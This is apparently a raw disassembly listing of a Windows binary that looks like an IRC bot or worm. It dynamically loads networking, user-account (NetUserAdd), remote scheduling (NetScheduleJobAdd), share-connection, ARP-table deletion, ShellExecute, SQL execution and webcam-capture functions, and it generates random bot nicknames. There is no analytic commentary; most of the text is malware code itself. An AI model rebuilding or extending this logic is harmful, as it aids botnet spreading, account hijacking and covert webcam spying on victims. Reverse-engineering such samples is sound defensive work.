		cmp	dword_4CB63C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB5FC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB650, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB64C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB604, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB5C8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB638, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB6A8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB5DC, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	near ptr 2830047h
		nop
		mov	dword_4CB708, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB704, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB560, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB4E8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB598, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB528, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB520, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB530, eax
		call	esi
		cmp	dword_4CB560, ebx
		mov	ecx, dword_4CB5BC
		mov	dword_4CB658, eax
		jz	short loc_40A3D2
		cmp	dword_4CB4E8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB5EC, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB598, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB528, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB520, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB530, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB70C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB5D4, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 2830047h
		mov	dword_4CB710, eax
		mov	dword_4CB70C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CB5D4, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi
		cmp	dword_4CB5AC, ebx
		mov	dword_4CB53C, eax
		jz	short loc_40A466
		cmp	dword_4CB6DC, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2830047h
		mov	dword_4CB718, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB714, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB518, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB4F0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB568, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB59C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB550, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB4FC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB4EC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB584, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB67C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB634, eax
		call	esi
		cmp	dword_4CB518, ebx
		mov	dword_4CB558, eax
		jz	short loc_40A582
		cmp	dword_4CB4F0, ebx
		jz	short loc_40A582
		cmp	dword_4CB568, ebx
		jz	short loc_40A582
		cmp	dword_4CB59C, ebx
		jz	short loc_40A582
		cmp	dword_4CB6B4, ebx
		jz	short loc_40A582
		cmp	dword_4CB550, ebx
		jz	short loc_40A582
		cmp	dword_4CB4FC, ebx
		jz	short loc_40A582
		cmp	dword_4CB4EC, ebx
		jz	short loc_40A582
		cmp	dword_4CB584, ebx
		jz	short loc_40A582
		cmp	dword_4CB67C, ebx
		jz	short loc_40A582
		cmp	dword_4CB634, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 2830047h
		mov	dword_4CB720, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB71C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB540, eax
		call	esi
		cmp	dword_4CB540, ebx
		mov	dword_4CB61C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2830047h
		mov	dword_4CB728, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB724, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi
		cmp	dword_4CB6A0, ebx
		mov	dword_4CB69C, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 2830047h
		mov	dword_4CB730, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB72C, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6CC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB68C, eax
		call	esi
		cmp	dword_4CB6CC, ebx
		mov	dword_4CB55C, eax
		jz	short loc_40A68A
		cmp	dword_4CB6C4, ebx
		jz	short loc_40A68A
		cmp	dword_4CB68C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		call	near ptr 2830047h
		nop
		mov	dword_4CB738, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB734, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB590, eax
		call	esi
		cmp	dword_4CB590, ebx
		mov	dword_4CB698, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		call	near ptr 2830047h
		nop
		mov	dword_4CB740, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB73C, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB660, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB640, eax
		call	esi
		cmp	dword_4CB660, ebx
		mov	dword_4CB5B0, eax
		jz	short loc_40A772
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A772
		cmp	dword_4CB5E8, ebx
		jz	short loc_40A772
		cmp	dword_4CB5A0, ebx
		jz	short loc_40A772
		cmp	dword_4CB640, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2830047h
		mov	dword_4CB748, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB744, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB574, eax
		call	esi
		cmp	dword_4CB574, ebx
		mov	dword_4CB654, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2830047h
		mov	dword_4CB750, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB74C, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB6E4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB6E8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB6EC, esi
		jz	short loc_40A84A
		push	dword_4CB6F0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB6F4, esi
		jz	short loc_40A87E
		push	dword_4CB6F8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB6FC, esi
		jz	short loc_40A8B2
		push	dword_4CB700
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB704, esi
		jz	short loc_40A8E6
		push	dword_4CB708
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB70C, esi
		jz	short loc_40A91A
		push	dword_4CB710
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB714, esi
		jz	short loc_40A94E
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB71C, esi
		jz	short loc_40A982
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB724, esi
		jz	short loc_40A9B6
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB72C, esi
		jz	short loc_40A9EA
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB734, esi
		jz	short loc_40AA1E
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB73C, esi
		jz	short loc_40AA52
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB744, esi
		jz	short loc_40AA86
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB74C, esi
		jz	short loc_40AABA
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D9F4
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB664
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CB6A8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB540
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6A0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC08
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42DBE4
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6A0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42DBB4


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42DB84
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CB69C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5C8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB754
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42DC50o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 2830E52h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCB8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB24
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 28h, 61h
; ---------------------------------------------------------------------------
		inc	edx
		add	dl, [eax-18h]
		test	al, 0Bh
		add	[eax], eax
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_429138 ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B


loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB24
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55


loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 2830E52h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
